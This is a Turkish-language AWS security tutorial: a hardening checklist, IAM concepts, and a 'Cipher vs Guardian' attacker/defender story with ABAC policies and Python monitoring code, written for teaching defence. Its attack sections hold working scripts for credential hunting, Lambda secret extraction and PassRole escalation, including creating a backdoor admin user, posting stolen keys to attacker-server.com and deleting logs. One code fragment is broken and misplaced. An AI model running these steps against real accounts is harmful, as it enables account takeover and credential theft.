AWS Kontrol Listeleri

AWS Bulut Güvenliği En İyi Uygulama Yönergeleri / Kontrol Listesi

1. Kimlik ve Erişim Yönetimi (IAM)

• Tüm IAM kullanıcıları için Çok Faktörlü Kimlik Doğrulama (MFA) etkinleştirin.

• EC2 instance’larında IAM rolleri kullanın, kimlik bilgilerini kod içine gömmeyin.

• Politika atamalarında En Az Ayrıcalık İlkesi (Principle of Least Privilege) uygulayın.

• Yetkileri doğrudan kullanıcıya vermek yerine IAM Grupları kullanın.

• Erişim anahtarlarını (access keys) kullanılıyorsa düzenli olarak döndürün.

• Kullanılmayan IAM kullanıcılarını ve erişim anahtarlarını silin.

• Üretim ve geliştirme ortamları için ayrı AWS hesapları oluşturun ve kullanın.

• IAM kullanıcıları için güçlü parola politikaları ayarlayın.

• Birden fazla hesabı yönetmek için AWS Organizations kullanın ve Service Control Policies (SCPs) uygulayın.

2. Günlükleme ve İzleme

• AWS hesabındaki tüm API aktivitelerini kaydetmek için AWS CloudTrail etkinleştirin.

• CloudTrail günlüklerinin şifrelenmesini sağlayın ve S3’te saklayın.

• Log file validation özelliğini açarak günlüklerde değişiklik olup olmadığını tespit edin.

• Amazon CloudWatch ile gerçek zamanlı metrik ve log takibi yapın.

• Önemli güvenlik metrikleri (ör. başarısız oturum açma denemeleri, CPU artışları) için CloudWatch Alarmları kurun.

• AWS Config ile kaynak yapılandırmalarını takip edin ve drift tespit edin.

• AWS GuardDuty ile kötü amaçlı aktiviteleri sürekli izleyin.

• Düzenli olarak CloudTrail ve CloudWatch loglarını inceleyin.

• VPC Flow Logs etkinleştirerek VPC’deki trafik akışlarını kaydedin.

3. Veri Güvenliği

• S3 bucket’ları için sunucu tarafı şifreleme (SSE-S3, SSE-KMS veya SSE-C) etkinleştirin.

• AWS KMS (Key Management Service) ile verilerinizi şifreleyin ve anahtarları yönetin.

• Tüm hassas verilerin ağ üzerinden iletimini TLS/SSL ile şifreleyin.

• S3 bucket politikalarını doğru ayarlayarak erişimi kısıtlayın.

• S3 bucket versioning ve logging özelliklerini açarak değişiklikleri ve erişimleri takip edin.

• RDS için at-rest şifrelemeyi etkinleştirin.

• Hassas veriler için kullanılan EBS volume’larını şifreleyin.

4. Ağ Güvenliği

• Kaynakları izole etmek için AWS VPC kullanın.

• Security Groups ile gelen/giden trafiği sınırlandırın.

• Security Groups’larda en az ayrıcalık modelini uygulayın.

• Ek güvenlik katmanı için Network ACLs (NACLs) kullanın.

• AWS hizmetlerine özel erişim için VPC Endpoints kullanın.

• Web uygulamalarını korumak için AWS WAF (Web Application Firewall) etkinleştirin.

• Güvenli VPC bağlantısı için VPC Peering veya AWS Transit Gateway kullanın.

• On-prem sistemlerle güvenli bağlantı için VPN veya Direct Connect yapılandırın.

5. Uygulama Güvenliği

• Tüm uygulamalarda HTTPS kullanarak verileri şifreleyin.

• Girdi doğrulama (input validation) uygulayarak enjeksiyon saldırılarını (SQL injection vb.) engelleyin.

• Hassas bilgileri (API anahtarları, şifreler) AWS Secrets Manager ile saklayın.

• IAM kısıtlamalı Lambda veya EC2 kullanarak saldırı yüzeyini azaltın.

• Web uygulamaları için AWS Shield kullanarak DDoS saldırılarına karşı koruma sağlayın.

6. Uyumluluk ve Yönetişim

• AWS Security Hub ile güvenlik durumunuzu merkezi olarak izleyin.

• AWS Trusted Advisor kullanarak güvenlik ve maliyet optimizasyon önerileri alın.

• AWS Config Rules ile politikalarınıza ve standartlara uygunluğu sağlayın.

• Düzenli güvenlik denetimleri ve risk değerlendirmeleri yapın.

• Uyumluluk belgelerini yönetmek için AWS Artifact kullanın.

• NIST, PCI-DSS, ISO 27001 gibi çerçeveleri uygulayarak otomatik güvenlik framework’leri kullanın.

7. Olay Müdahalesi

• Bir incident response plan oluşturun ve personelinizi düzenli olarak eğitin.

• AWS CloudFormation StackSets ile felaket kurtarma yapılandırmaları oluşturun.

• Kritik veriler için düzenli olarak snapshot ve yedekleme yapın.

• CloudWatch Events ve Lambda ile otomatik müdahale süreçleri oluşturun.

8. Güvenlik Otomasyonu

• CloudFormation veya Terraform kullanarak güvenliği göz önünde bulundurarak altyapıyı kod olarak yönetin.

• AWS Lambda ile olay müdahalesini otomatikleştirin (ör. güvenlik olayı olduğunda instance kapatma).

• AWS Backup ile kaynaklarınızın otomatik yedeğini alın.

• AWS Systems Manager Patch Manager ile OS ve uygulama yamalarını otomatik uygulayın.

9. Düzenli Bakım

• IAM rolleri ve politikalarını düzenli olarak gözden geçirin ve güncelleyin.

• Kullanılmayan kaynakları silerek saldırı yüzeyini azaltın.

• Tüm servislerde ve altyapıda güvenlik yamalarını hızla uygulayın.

• Security Groups ve NACLs ayarlarını gözden geçirerek gereksiz açık erişimi kapatın.

• Trusted Advisor güvenlik kontrollerini düzenli olarak inceleyin.

AWS Authentication & Authorization

Giriş: Dijital Kütüphane Analojisi

AWS Identity and Access Management (IAM), dijital çağın büyük bilgi kütüphanesi gibi düşünülebilir. Burada her bir kaynak (S3 bucket, EC2 instance, RDS veritabanı vb.) için kimlik doğrulama (Authentication) ve izin yönetimi (Authorization) gereklidir.

• IAM, hem “kütüphaneci” hem de “erişim mimarı” rolünü üstlenir:

  • Hangi kullanıcılar (IAM Users, Federated Identities) AWS hesabına erişebilir?

  • Hangi kaynaklara hangi izinlerle erişebilirler?

  • Hangi işlemleri gerçekleştirebilirler ve hangi kaynaklar onlar için yasaklıdır?

Saldırı ve Savunma Hikayesi: Cipher vs Guardian

• Cipher: Yetkisiz erişim sağlamaya çalışan sofistike saldırgan. IAM zayıflıklarını hedef alır.

• Guardian: AWS güvenlik mimarı, IAM politikalarını ustalıkla yönetir, saldırıları önler ve saldırı senaryolarına karşı savunma kurar.

Bu hikaye üzerinden:

• Gerçek dünya IAM saldırı vektörlerini,

• Savunma stratejilerini,

• Bulut kimlik güvenliği uygulamalarını
  adım adım öğreniyoruz.

AWS IAM Bileşenleri ve Stratejik Önemi

Temel Kavramlar

• Principal (Kimlik): Erişim talebinde bulunan varlık (IAM User, IAM Role, federated identity, AWS service).

• Authentication (Kimlik Doğrulama): Principal’in kimliğinin doğrulanması (“Sen kimsin?”).

• Authorization (Yetkilendirme): Principal’in hangi kaynaklara hangi izinlerle erişebileceğinin belirlenmesi (“Ne yapabilirsin?”).

• Policy (Politika): JSON ile izinlerin tanımlandığı doküman; Identity (User, Role) veya Resource (S3 Bucket, EC2 instance) üzerine uygulanır.

• ABAC (Etiket Bazlı Erişim Kontrolü): Kaynak ve kullanıcı etiketlerini kullanarak dinamik ve koşullu erişim sağlar.

Modern Bulut Ortamında IAM’in Zorlukları

1. Ölçek ve Karmaşıklık:
   Binlerce kullanıcı ve yüzlerce servis ile büyük AWS hesaplarında manuel yönetim imkansızdır. Yanlış yapılandırmalar saldırılara zemin hazırlar.

2. Dinamik Erişim İhtiyaçları:
   Mikroservisler ve bulut-native uygulamalar için “just-in-time” erişim gerekir. Sadece RBAC kullanmak rol patlamasına (role explosion) sebep olur.

3. Hedef Olma Riski:
   IAM yanlış yapılandırmaları, Credential Theft, Privilege Escalation, Policy Manipulation ve ABAC bypass gibi saldırı vektörlerine açık kapı bırakır.

IAM Saldırı Vektörleri (Cipher Perspektifi)

• Overprivileged Users: Kullanıcılar gereğinden fazla izin almışsa saldırgan geniş erişim kazanabilir.

• Embedded Keys & Stale Credentials: Hardcoded access key veya kullanılmayan credential’lar saldırılara açıktır.

• Wildcard Policies: * kullanımı ve eksik koşullar saldırganın kolayca erişim elde etmesine yol açar.

• ABAC Exploits: Tutarsız tag kullanımında privilege escalation mümkündür.

• MFA Eksikliği: MFA devre dışıysa, yalnızca şifre ile erişim sağlanabilir.

IAM Savunma Stratejileri (Guardian Perspektifi)

1. Principle of Least Privilege: Kullanıcılara sadece gerekli izinleri ver.

2. MFA Enforcement: Kritik kullanıcı ve rol hesapları için MFA zorunlu.

3. ABAC Tagging: Kaynak ve kullanıcıları doğru etiketle, dinamik erişim uygula.

4. Policy Review: Wildcard’leri azalt, koşulları açık tanımla.

5. Roles & Temporary Credentials: Servisler arası iletişimde geçici roller kullan.

6. Continuous Monitoring: CloudTrail ve GuardDuty ile kimlik davranışlarını izle.

7. Access Analyzer: Politika hatalarını ve yetkisiz erişim risklerini tespit et.

AWS IAM ve Saldırı-Yönetim Dinamikleri

1. Shared Responsibility Model (Paylaşılan Sorumluluk Modeli)

AWS, altyapının güvenliğini sağlar: veri merkezleri, sunucular, ağ ve temel hizmetler güvenlidir. Ancak müşteri sorumlulukları şunları içerir:

• IAM kimliklerini (Users, Roles, Groups) doğru yapılandırmak,

• Politika ve izinleri doğru tanımlamak,

• Erişim kontrollerini (Access Controls) yönetmek ve sürekli denetlemek.

Yani AWS, “platformu güvenli yapar”, ama kimin hangi kaynağa ne kadar erişebileceğini yönetmek tamamen sizin sorumluluğunuzdadır.

2. Expanded Attack Surface (Genişlemiş Saldırı Yüzeyi)

Her yanlış yapılandırılmış IAM elementi, saldırganlar için potansiyel bir giriş noktasıdır:

• Yanlış IAM Policy’ler: Gereksiz geniş izinler veya wildcard kullanımı (*).

• Sızdırılmış Credential’lar: Hardcoded access key’ler veya eski erişim anahtarları.

• Overprivileged Roles (Aşırı Yetkili Roller): Fazla yetki, saldırganın yetki yükseltmesine (Privilege Escalation) yol açar.

Bu hatalar, saldırganların kalıcı erişim (Persistence) kurmasına ve yönetici seviyesinde yetki kazanmasına olanak tanır.

3. Compliance and Governance (Uyumluluk ve Yönetim Gereksinimleri)

Regülasyonlar ve standartlar (ör. PCI-DSS, ISO 27001, NIST) şunları talep eder:

• Kapsamlı kimlik yönetimi (Identity Governance): Hangi kullanıcı veya rol hangi kaynaklara erişebilir net olmalı.

• Sürekli erişim gözden geçirme (Continuous Access Reviews): Düzenli olarak tüm izinler ve roller denetlenmeli.

• Detaylı audit trail (Denetim Kayıtları): Tüm kimlik ve erişim aktiviteleri kaydedilmeli ve izlenebilir olmalı.

Bu nedenle IAM sadece güvenlik için değil, yasal uyumluluk ve denetim gereksinimleri için de kritik bir bileşendir.

Cipher vs Guardian – Stratejik IAM Savaş Alanı

Bu dinamikler, Cipher ve Guardian arasındaki sanal güvenlik savaşının zeminini hazırlar:

• Her IAM politikası kararı,

• Her izin ataması,

bulut güvenliği oyununda stratejik bir hamle haline gelir.

Cipher’in IAM Saldırı Yaklaşımı

Cipher, bir ustalıkla tasarlanmış çilingir gibi sistematik hareket eder:

1. Zayıf IAM Konfigürasyonlarını Tespit:

   • Yanlış yapılandırılmış kullanıcı, grup veya rol izinlerini keşfeder.

2. Policy Hatalarını Analiz Et:

   • Wildcard izinler, eksik koşullar veya hatalı trust policy’leri bulur.

3. Credential Exploitation (Kimlik Bilgisi Sömürüsü):

   • Hardcoded veya sızdırılmış Access Key’leri kullanarak yetki kazanır.

4. Privilege Escalation:

   • Aşırı yetkili roller veya hatalı ABAC uygulamalarını kullanarak yönetici seviyesine yükselir.

5. Persistence ve Lateral Movement:

   • Hesapları ele geçirip sistemde kalıcı erişim sağlar ve diğer kaynaklara yayılır.

Özetle, Cipher’in metodolojisi: keşfet → analiz et → sömür → yükselt → kalıcı erişim sağla şeklindedir.

Cipher’in AWS IAM Saldırı Akışı

Şekil 1: IAM Saldırı Akışı

Cipher’in metodolojisi, keşiften (reconnaissance) kalıcı erişime (persistence) kadar sistematik bir akış içerir.

1. Keşif (Reconnaissance) Aşaması

Cipher’in hedef IAM altyapısını anlamak için kullandığı birden çok istihbarat toplama yöntemi vardır.

1.1 Kimlik Bilgisi Keşfi ve Doğrulama (Credential Discovery and Validation)

Cipher, AWS kimlik bilgilerini (Access Key, Secret Key) aşağıdaki kaynaklardan sistematik olarak arar:

• GitHub ve açık kaynak depoları: Public repolarda kazara veya hatalı bırakılmış kimlik bilgileri.

• Konfigürasyon dosyaları: JSON, YAML veya .env dosyaları.

• Geçici veya uzun süreli credential’lar: AWS IAM kullanıcı ve rol anahtarları.

Örnek araç ve komutlar:

# Public GitHub repolarında AWS anahtarlarını arama
git log --all --full-history -- "*" | grep -E "AKIA[0-9A-Z]{16}"

# JSON, YAML ve env dosyalarında gelişmiş pattern arama
grep -r "aws_access_key_id\|aws_secret_access_key\|AKIA\|ASIA" . --include="*.json" --include="*.yaml" --include="*.env"

# Bulunan credential’ların geçerliliğini test etme
aws sts get-caller-identity --profile test-credentials 2>/dev/null && echo "Valid credentials found!"

# Geçerli credential ile kullanıcı izinlerini listeleme
aws iam get-user --profile test-credentials
aws iam list-attached-user-policies --user-name discovered-user --profile test-credentials
aws iam list-user-policies --user-name discovered-user --profile test-credentials

Bu aşama, Cipher’in hangi kullanıcı veya rollerin hangi izinlere sahip olduğunu
anlamasına yardımcı olur.

1.2 IAM Entity Enumeration (IAM Varlıklarının Keşfi)

Cipher, hedef ortamda tüm IAM varlıklarını (users, roles, groups, policies) keşfeder:

• Kullanıcılar (Users)

• Roller (Roles)

• Gruplar (Groups)

• Politikalar (Policies)

• MFA durumu (Multi-Factor Authentication)

Örnek IAM keşif script’i:

echo "=== IAM User Enumeration ==="
aws iam list-users --profile target --output table

echo "=== IAM Role Discovery ==="
aws iam list-roles --profile target --query 'Roles[].{RoleName:RoleName,CreateDate:CreateDate,AssumeRolePolicyDocument:AssumeRolePolicyDocument}' --output table

echo "=== IAM Groups Analysis ==="
aws iam list-groups --profile target --output table

echo "=== Policy Analysis ==="
aws iam list-policies --scope Local --profile target --output table

# MFA olmayan kullanıcıları kontrol etme
for user in $(aws iam list-users --profile target --query 'Users[].UserName' --output text); do
    mfa_devices=$(aws iam list-mfa-devices --user-name $user --profile target --query 'MFADevices' --output text)
    if [ -z "$mfa_devices" ]; then
        echo "User $user has NO MFA configured!"
    fi
done

Bu keşif, hedef ortamın zayıf noktalarını, MFA eksikliklerini ve aşırı yetkili rollerini ortaya çıkarır.

2. Saldırının Kritik Dinamikleri

Cipher’in saldırısı, önceki mesajda anlattığımız gibi aşağıdaki temel prensiplere dayanır:

1. Shared Responsibility Model: AWS altyapıyı güvenli tutar, ancak kimlik ve izin konfigürasyonu müşteri sorumluluğudur.

2. Expanded Attack Surface: Yanlış yapılandırılmış politikalar, sızdırılmış credential’lar veya aşırı yetkili roller, saldırganların giriş ve yetki yükseltme noktalarıdır.

3. Compliance & Governance: Regülasyonlar, kapsamlı kimlik yönetimi ve denetim kayıtları gerektirir.

Özet ve Mantık

Cipher’in saldırı metodolojisi systematic reconnaissance → credential mining → IAM enumeration → validation → persistence şeklindedir.

• Amaç: Zayıf IAM konfigürasyonlarını tespit edip, sistemde kalıcı ve yönetici seviyesinde erişim elde etmek.

• Araçlar: AWS CLI, Bash script, pattern-based credential search, IAM API enumeration.

• Kritik bulgular: MFA olmayan kullanıcılar, wildcard izinler, yanlış trust policy’ler, sızdırılmış access key’ler.

2.1. S3 Bucket Credential Mining:

# Advanced S3 credential discovery
#!/bin/bash
# Search for configuration and backup files
aws s3 ls s3://target-bucket --recursive --profile target | grep -E '\.(config|json|yaml|yml|env|backup|sql|dump)$'
# Download and analyze configuration files
aws s3 cp s3://target-bucket/config/ ./downloaded-configs/ --recursive --profile target
# Search for AWS credentials in downloaded files
find ./downloaded-configs/ -type f -exec grep -l "AKIA\|aws_access_key\|aws_secret" {} \;
# Database connection string analysis
grep -r "postgres://\|mysql://\|mongodb://" ./downloaded-configs/

aws s3 ls s3://target-bucket --recursive --profile target | grep "terraform\.tfstate

2.2 Lambda Fonksiyon Ortam Değişkenlerinden Bilgi Çıkarma (Environment Variable Extraction)

Bu Python kodu, AWS Lambda fonksiyonlarındaki ortam değişkenlerini tarayarak hassas bilgileri (şifre, token, API key vb.) tespit etmeye yönelik bir saldırı adımıdır.

import boto3
import json
import re

def extract_lambda_secrets(profile_name):
    """
    Lambda fonksiyonlarındaki ortam değişkenlerini tarar
    ve olası hassas bilgileri (password, secret, key, token, api key) tespit eder.
    """
    session = boto3.Session(profile_name=profile_name)
    lambda_client = session.client('lambda')

    try:
        # Tüm Lambda fonksiyonlarını listele
        functions = lambda_client.list_functions()
        for function in functions['Functions']:
            function_name = function['FunctionName']
            print(f"Analyzing function: {function_name}")

            # Fonksiyon konfigürasyonunu al
            config = lambda_client.get_function_configuration(FunctionName=function_name)

            # Ortam değişkenlerini kontrol et
            if 'Environment' in config and 'Variables' in config['Environment']:
                env_vars = config['Environment']['Variables']
                for key, value in env_vars.items():
                    # Anahtar kelime tabanlı hassas değişken taraması
                    if re.search(r'(?i)(password|secret|key|token|api)', key):
                        print(f" Found sensitive variable: {key} = {value}")
                    # AWS access key kontrolü
                    if re.search(r'AKIA[0-9A-Z]{16}', value):
                        print(f" Found AWS access key: {key} = {value}")

            # Fonksiyon kodunu analiz et (opsiyonel)
            try:
                code = lambda_client.get_function(FunctionName=function_name)
                # Burada code['Code'] veya indirilen zip içeriği ile ileri analiz yapılabilir
            except Exception as e:
                print(f" Could not access function code: {e}")

    except Exception as e:
        print(f"Error: {e}")

# Kullanım örneği
extract_lambda_secrets('target-profile')

Kodun İşleyişi ve Adım Adım Açıklama

1. AWS Bağlantısı Kurma

session = boto3.Session(profile_name=profile_name)
lambda_client = session.client('lambda')

• boto3 AWS SDK’sıdır.

• profile_name ile hedef AWS hesabına bağlanılır.

• lambda_client Lambda servis API’si için bir istemci oluşturur.

2. Lambda Fonksiyonlarını Listeleme
   

   functions = lambda_client.list_functions()
   for function in functions['Functions']:
       function_name = function['FunctionName']
       print(f"Analyzing function: {function_name}")

• Hesaptaki tüm Lambda fonksiyonları listelenir.

• Fonksiyon adı (FunctionName) alınır ve analiz için işaretlenir.

3. Fonksiyon Konfigürasyonunu Alma
   

   config = lambda_client.get_function_configuration(FunctionName=function_name)
   

• Her fonksiyonun yapılandırması (configuration) çekilir.

• Bu yapılandırmada ortam değişkenleri, bellek ayarları, timeout ve rol bilgileri bulunur.

4. Ortama Ait Değişkenleri Kontrol Etme

   if 'Environment' in config and 'Variables' in config['Environment']:
   env_vars = config['Environment']['Variables']
   for key, value in env_vars.items():
       if re.search(r'(?i)(password|secret|key|token|api)', key):
           print(f" Found sensitive variable: {key} = {value}")
       if re.search(r'AKIA[0-9A-Z]{16}', value):
           print(f" Found AWS access key: {key} = {value}")
   

   
   - Environment.Variables altında tanımlanmış ortam değişkenleri alınır.

• password, secret, key, token, api gibi anahtar kelimeler aranır (case-insensitive (?i)).

• Eğer değer içinde AWS Access Key (AKIA...) varsa ayrı olarak raporlanır.

Amaç: Lambda fonksiyonlarında kazara veya bilinçli olarak bırakılmış gizli bilgiler bulunur.

5. Fonksiyon Kodunu Analiz Etme (Opsiyonel)
   

   try:
       code = lambda_client.get_function(FunctionName=function_name)
       # Additional code analysis would go here
   except Exception as e:
       print(f" Could not access function code: {e}")
   

• Fonksiyonun kodu da indirilebilir.

• Kod içinde hardcoded (sabitlenmiş) secret’lar aranabilir.

• Burada basit bir örnek, daha ileri analiz eklenebilir.

6. Kullanım
   

   extract_lambda_secrets('target-profile')

• target-profile IAM profile’ı üzerinden hedef AWS hesabına bağlanılır.

• Fonksiyon çalıştırıldığında, tüm Lambda fonksiyonları taranır ve hassas ortam değişkenleri raporlanır.

Önemli Güvenlik Notları

• MFA ve IAM Politika Kontrolü: Eğer Lambda fonksiyonu için rol aşırı yetkiliyse, Cipher bu değişkenlerden kritik AWS kimlik bilgilerini çalabilir.

• Compliance Risk: Ortam değişkenlerinde credential bırakmak, CIS AWS Benchmark ve regülasyonlar açısından büyük bir güvenlik riski oluşturur.

• Defans Mekanizması: Guardian tarafında, Lambda ortam değişkenlerine sadece minimum yetki ile erişim, şifrelerin KMS ile şifrelenmesi ve Secrets Manager kullanımı önerilir.

Privilege Escalation (Yetki Yükseltme)

1.1. PassRole Yetki Yükseltme

IAM’deki en güçlü saldırı vektörlerinden biri, saldırganların daha yüksek yetkilere sahip rolleri üstlenmesine olanak tanır.

Yükseltme Scripti (escalation-script.sh)

#!/bin/bash
# Mevcut izinleri kontrol et
aws sts get-caller-identity --profile compromised

# PassRole için mevcut rolleri listele
aws iam list-roles --profile compromised --query 'Roles[?contains(RoleName, `Admin`) || contains(RoleName, `Power`)].RoleName' --output text

# PassRole izinlerini kontrol et
aws iam simulate-principal-policy \
--profile compromised \
--policy-source-arn arn:aws:iam::123456789012:user/compromised-user \
--action-names iam:PassRole \
--resource-arns "arn:aws:iam::123456789012:role/AdminRole"

# Yükseltilmiş role sahip bir EC2 instance oluştur
aws ec2 run-instances \
--profile compromised \
--image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminRole \
--security-group-ids sg-0123456789abcdef0 \
--user-data file://escalation-script.sh

EC2 Üzerinde Çalışacak Script (escalation-script.sh)

#!/bin/bash
# Yükseltilmiş yetkileri EC2 instance metadata’dan çek
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)

ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.AccessKeyId')
SECRET_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')
SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')

# AWS CLI’yi yükseltilmiş kimlik bilgileri ile yapılandır
aws configure set aws_access_key_id $ACCESS_KEY --profile elevated
aws configure set aws_secret_access_key $SECRET_KEY --profile elevated
aws configure set aws_session_token $SESSION_TOKEN --profile elevated

# Yetkinin başarılı olup olmadığını test et
aws sts get-caller-identity --profile elevated

# Yedek yönetici kullanıcı oluştur
aws iam create-user --user-name backup-admin --profile elevated
aws iam create-access-key --user-name backup-admin --profile elevated
aws iam attach-user-policy --user-name backup-admin --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile elevated

# Kimlik bilgilerini saldırgan sunucusuna gönder
curl -X POST -H "Content-Type: application/json" \
-d "{\"access_key\":\"$ACCESS_KEY\",\"secret_key\":\"$SECRET_KEY\",\"session_token\":\"$SESSION_TOKEN\"}" \
https://attacker-server.com/credentials

# İzleri temizle
history -c
rm /var/log/cloud-init-output.log

1.2. ABAC (Attribute-Based Access Control) Etiket Tabanlı Yetki Yükseltme

Örnek: Kullanıcı “Department=Marketing” etiketini “Department=Security” olarak değiştiriyor ve SecurityTeamRole’ü üstlenerek yönetici erişimi kazanıyor.

Adımlar:

# Mevcut kullanıcı etiketlerini kontrol et
aws iam list-user-tags --user-name current-user --profile compromised

# Etiketleri değiştirerek yetki yükseltme
aws iam tag-user \
--user-name current-user \
--tags Key=Department,Value=Security \
--profile compromised

# Yeni yetkiyi test et
aws s3 ls s3://security-department-bucket --profile compromised

# Üstlenilebilecek rolleri kontrol et
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/SecurityTeamRole \
--role-session-name TagBasedEscalation \
--profile compromised

1.3. TTP’ler (MITRE ATT&CK Eşlemesi)

• T1078.004: Geçerli bulut hesaplarını kullanma (Valid Cloud Accounts)

• T1528: Uygulama erişim tokenlarını çalma (Steal Application Access Token)

• T1548.005: Geçici yükseltilmiş bulut erişimi (PassRole)

• T1098.001: Ek IAM kullanıcıları oluşturma (Additional Cloud Credentials)

2. ABAC Savunma Stratejisi

2.1. Politika Tasarımı ve İzleme

• Politika Tanımı: Kaynak ve kullanıcı etiketlerini eşleştir.

• İzleme: Anomali tespiti ve etiket uyumluluk denetimi.

• Test Çerçevesi: Politika doğrulama, erişim örüntüleri ve otomatik raporlama.

2.2. ABAC Mimari Örneği

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": "arn:aws:s3:::company-data/*",
      "Condition": {
        "StringEquals": {
          "s3:ExistingObjectTag/Department": "${aws:PrincipalTag/Department}",
          "s3:ExistingObjectTag/Project": "${aws:PrincipalTag/Project}"
        },
        "Bool": {"aws:MultiFactorAuthPresent": "true"},
        "StringLike": {"aws:RequestedRegion": "${aws:PrincipalTag/AllowedRegions}"}
      }
    }
  ]
}

2.3. Terraform Örneği

resource "aws_iam_user" "abac_user" {
  name = "john.doe"
  path = "/employees/"
  tags = {
    Department    = "Finance"
    Project       = "Budget2024"
    AccessLevel   = "Standard"
    AllowedRegions = "us-east-1,us-west-2"
    Environment   = "production"
  }
}

resource "aws_iam_policy" "abac_s3_policy" {
  name        = "ABAC-S3-Policy"
  description = "ABAC tabanlı S3 erişim politikası"
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect = "Allow"
        Action = ["s3:GetObject","s3:PutObject","s3:DeleteObject"]
        Resource = "arn:aws:s3:::company-data/*"
        Condition = {
          StringEquals = {
            "s3:ExistingObjectTag/Department" = "${aws:PrincipalTag/Department}"
            "s3:ExistingObjectTag/Project"    = "${aws:PrincipalTag/Project}"
          }
          Bool = {"aws:MultiFactorAuthPresent": "true"}
          StringLike = {"aws:RequestedRegion": "${aws:PrincipalTag/AllowedRegions}"}
        }
      }
    ]
  })
}

resource "aws_iam_user_policy_attachment" "abac_attachment" {
  user       = aws_iam_user.abac_user.name
  policy_arn = aws_iam_policy.abac_s3_policy.arn
}

3. Python ile ABAC Uyumluluk İzleme

import boto3
import json
from datetime import datetime

class ABACUyumlulukMonitor:
    def __init__(self):
        self.iam = boto3.client('iam')
        self.s3 = boto3.client('s3')

    def kullanici_etiketlerini_denetle(self):
        zorunlu_etiketler = ['Department', 'Project', 'AccessLevel', 'Environment']
        uygunsuz_kullanicilar = []
        paginator = self.iam.get_paginator('list_users')
        for page in paginator.paginate():
            for user in page['Users']:
                try:
                    tags_response = self.iam.list_user_tags(UserName=user['UserName'])
                    user_tags = {tag['Key']: tag['Value'] for tag in tags_response['Tags']}
                    eksik_etiketler = set(zorunlu_etiketler) - set(user_tags.keys())
                    if eksik_etiketler:
                        uygunsuz_kullanicilar.append({
                            'KullaniciAdi': user['UserName'],
                            'EksikEtiketler': list(eksik_etiketler),
                            'MevcutEtiketler': user_tags
                        })
                except Exception as e:
                    print(f"{user['UserName']} etiketi kontrol edilirken hata: {e}")
        return uygunsuz_kullanicilar

    def s3_nesnelerini_denetle(self, bucket_adi):
        zorunlu_etiketler = ['Department', 'Project', 'Classification']
        uygunsuz_nesneler = []
        try:
            paginator = self.s3.get_paginator('list_objects_v2')
            for page in paginator.paginate(Bucket=bucket_adi):
                for obj in page.get('Contents', []):
                    try:
                        tags_response = self.s3.get_object_tagging(Bucket=bucket_adi, Key=obj['Key'])
                        object_tags = {tag['Key']: tag['Value'] for tag in tags_response['TagSet']}
                        eksik_etiketler = set(zorunlu_etiketler) - set(object_tags.keys())
                        if eksik_etiketler:
                            uygunsuz_nesneler.append({
                                'Nesne': obj['Key'],
                                'EksikEtiketler': list(eksik_etiketler),
                                'MevcutEtiketler': object_tags
                            })
                    except Exception as e:
                        print(f"{obj['Key']} nesnesi kontrol edilirken hata: {e}")
        except Exception as e:
            print(f"{bucket_adi} bucket denetlenirken hata: {e}")
        return uygunsuz_nesneler

    def rapor_uret(self):
        rapor = {
            'Zaman': datetime.now().isoformat(),
            'KullaniciUyumluluk': self.kullanici_etiketlerini_denetle(),
            'S3Uyumluluk': {}
        }
        try:
            for bucket in self.s3.list_buckets()['Buckets']:
                rapor['S3Uyumluluk'][bucket['Name']] = self.s3_nesnelerini_denetle(bucket['Name'])
        except Exception as e:
            print(f"Bucket listesi alınırken hata: {e}")
        return rapor

# Kullanım
monitor = ABACUyumlulukMonitor()
rapor = monitor.rapor_uret()
print(json.dumps(rapor, indent=2, ensure_ascii=False))

IAM Olayları için Gelişmiş CloudTrail Analizi:

Bucket=bucket_name,
Key=obj['Key']
)
object_tags = {tag['Key']: tag['Value'] for tag in tags_response['TagSet']}
missing_tags = set(required_tags) - set(object_tags.keys())
if missing_tags:
    non_compliant_objects.append({
        'Object': obj['Key'],
        'MissingTags': list(missing_tags),
        'ExistingTags': object_tags
    })
except Exception as e:
    print(f"{obj['Key']} nesnesi için etiket kontrolü sırasında hata oluştu: {e}")
except Exception as e:
    print(f"{bucket_name} kovası denetlenirken hata oluştu: {e}")
return non_compliant_objects

Uyum Raporu Oluşturma

def generate_compliance_report(self):
    """Kapsamlı ABAC uyum raporu oluştur"""
    report = {
        'Timestamp': datetime.now().isoformat(),
        'UserCompliance': self.audit_user_tags(),
        'S3Compliance': {}
    }
    # Tüm S3 kovalarını kontrol et
    try:
        buckets = self.s3.list_buckets()
        for bucket in buckets['Buckets']:
            bucket_name = bucket['Name']
            report['S3Compliance'][bucket_name] = self.audit_s3_object_tags(bucket_name)
    except Exception as e:
        print(f"Kovalar listelenirken hata oluştu: {e}")
    return report

# Kullanım
monitor = ABACComplianceMonitor()
compliance_report = monitor.generate_compliance_report()
print(json.dumps(compliance_report, indent=2))

IAM Güvenlik Analizörü

import boto3
import json
from datetime import datetime, timedelta

class IAMSecurityAnalyzer:
    def __init__(self):
        self.cloudtrail = boto3.client('cloudtrail')
        self.iam = boto3.client('iam')
        self.sns = boto3.client('sns')

    def detect_privilege_escalation(self, hours_back=24):
        """Olası ayrıcalık yükseltme faaliyetlerini tespit et"""
        end_time = datetime.utcnow()
        start_time = end_time - timedelta(hours=hours_back)
        suspicious_events = [
            'CreateRole',
            'AttachRolePolicy',
            'AttachUserPolicy',
            'CreateAccessKey',
            'AssumeRole',
            'PassRole',
            'UpdateAssumeRolePolicy',
            'PutUserPolicy',
            'PutRolePolicy'
        ]
        events = []
        for event_name in suspicious_events:
            try:
                response = self.cloudtrail.lookup_events(
                    LookupAttributes=[
                        {'AttributeKey': 'EventName', 'AttributeValue': event_name}
